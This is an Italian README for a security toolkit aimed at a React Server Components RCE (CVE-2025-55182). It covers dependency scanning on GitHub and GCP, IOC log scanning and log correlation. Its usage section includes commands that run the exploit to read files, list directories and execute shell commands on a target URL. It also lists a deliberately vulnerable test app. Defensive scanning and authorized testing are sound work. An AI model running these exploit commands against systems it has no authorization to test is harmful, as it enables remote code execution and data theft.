flight-risk

flight risk /flaɪt rɪsk/ — il protocollo Flight di React è il livello di serializzazione alla base dei React Server Components. CVE-2025-55182 sfrutta una falla di deserializzazione in Flight per ottenere una RCE pre-autenticazione. Se la tua app usa RSC, è un flight risk.

Toolkit di sicurezza per CVE-2025-55182 (React2Shell) — una vulnerabilità di esecuzione remota di codice in pre-autenticazione con CVSS 10.0 nei React Server Components. Scansiona, rileva, correla e testa.

Cosa Contiene

Strumento	Cosa fa
react2shell-scanner	Scansiona organizzazioni GitHub e progetti GCP per dipendenze React/Next.js vulnerabili. Test di exploit autorizzati (sonda sicura, lettura file, elenco directory, esecuzione comandi).
gcp-ioc-scanner	Interroga GCP Cloud Logging per pattern di Indicator of Compromise su più progetti e servizi K8s. Definizioni IOC pluggabili.
gcp-log-correlator	Correla eventi di log GCP per prossimità temporale sullo stesso pod — ad esempio, trova quale richiesta HTTP ha innescato un errore RCE.

Avvio Rapido

# Clone
git clone https://github.com/YOUR_USER/flight-risk.git
cd flight-risk

# Install dependencies
pip install -r react2shell-scanner/requirements.txt
pip install pyyaml   # for gcp-ioc-scanner

# Make scripts executable
chmod +x react2shell-scanner/bin/*
chmod +x gcp-ioc-scanner/gcp-ioc-scanner
chmod +x gcp-log-correlator/gcp-log-correlator

# Authenticate
gh auth login                          # GitHub scanning
gcloud auth application-default login  # GCP scanning + log analysis

Utilizzo

Tutti i comandi vengono eseguiti dalla radice del repository.

Scansiona un'organizzazione GitHub per dipendenze vulnerabili

react2shell-scanner/bin/scan-github \
  --org YOUR_GITHUB_ORG \
  --output ./results/github

Scansiona un progetto GCP per immagini container vulnerabili

react2shell-scanner/bin/scan-gcp \
  --project YOUR_GCP_PROJECT \
  --output ./results/gcp

Scansione combinata (GitHub + GCP)

react2shell-scanner/bin/scan-all \
  --org YOUR_GITHUB_ORG \
  --project YOUR_GCP_PROJECT \
  --output ./results

Rilevamento sicuro della vulnerabilità (nessuna esecuzione di codice)

python3 react2shell-scanner/cli.py https://your-app.example.com

Test di exploit autorizzato

# Dry run — mostra il payload senza inviarlo
python3 react2shell-scanner/cli.py --dry-run --verbose https://your-app.example.com

# Legge un file tramite RCE
python3 react2shell-scanner/cli.py --method read-file https://your-app.example.com /etc/hostname

# Elenca una directory tramite RCE
python3 react2shell-scanner/cli.py --method list-dir https://your-app.example.com /app

# Esegue un comando tramite RCE
python3 react2shell-scanner/cli.py --method exec-cmd https://your-app.example.com "id"

# Obiettivi multipli
python3 react2shell-scanner/cli.py --targets targets.txt --output results.json

Scansiona i log GCP per pattern IOC

gcp-ioc-scanner/gcp-ioc-scanner \
  --targets gcp-ioc-scanner/examples/targets-example.yaml \
  --iocs gcp-ioc-scanner/iocs/cve-2025-55182.yaml \
  --start 2026-01-01 \
  --end 2026-04-01 \
  --output ./results/ioc-scan

Correla eventi di log (trova la richiesta che ha causato una RCE)

gcp-log-correlator/gcp-log-correlator \
  --project YOUR_GCP_PROJECT \
  --namespace frontend \
  --pod-pattern "web-app.*" \
  --trigger-filter 'severity=ERROR' \
  --preceding-filter 'httpRequest.requestMethod:*' \
  --window 30s \
  --start 2026-04-01T00:00:00Z \
  --end 2026-04-02T00:00:00Z \
  --format json,markdown \
  --output ./results/correlation

Docker

cd react2shell-scanner
docker compose -f docker/docker-compose.yml build
docker compose -f docker/docker-compose.yml run scanner-shell

Struttura delle Directory

flight-risk/
├── README.md
├── LICENSE
├── react2shell-scanner/
│   ├── bin/                        # scan-github, scan-gcp, scan-all
│   ├── cli.py                      # Exploit testing CLI
│   ├── exploit.py                  # Exploitation logic
│   ├── utils.py                    # Shared utilities
│   ├── lib/                        # Shell + Python helpers
│   ├── vuln-defs/                  # Pluggable vulnerability definitions
│   ├── docker/                     # Containerized scanning
│   ├── examples/                   # Example scripts
│   ├── test-app/                   # Vulnerable Next.js fixture
│   └── requirements.txt
├── gcp-ioc-scanner/
│   ├── gcp-ioc-scanner             # IOC log scanner
│   ├── iocs/                       # IOC pattern definitions
│   └── examples/                   # Target config examples
└── gcp-log-correlator/
    ├── gcp-log-correlator          # Event correlator
    └── examples/                   # Correlation examples

Requisiti

• Python 3.10+
• GitHub CLI (gh)
• Google Cloud SDK (gcloud)
• jq
• Docker 20.10+ (opzionale)

CVE-2025-55182

CVSS	10.0 Critico
Vettore	Rete / Pre-autenticazione / Nessuna interazione
React	19.0.0 - 19.2.0 (corretto in 19.3.0)
Next.js	14.3.0 - 15.3.5, 16.0.0 - 16.0.7 (corretto in 15.3.6, 16.0.8)
Causa principale	Deserializzazione non sicura nel protocollo React Flight
Impatto	RCE completa come utente del processo dell'applicazione

Note Legali

Solo uso autorizzato. Questo toolkit contiene codice di exploit. Usalo esclusivamente su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta al test. L'uso non autorizzato può violare il Computer Fraud and Abuse Act (18 U.S.C. 1030) e leggi equivalenti.

Licenza

MIT — vedi LICENSE.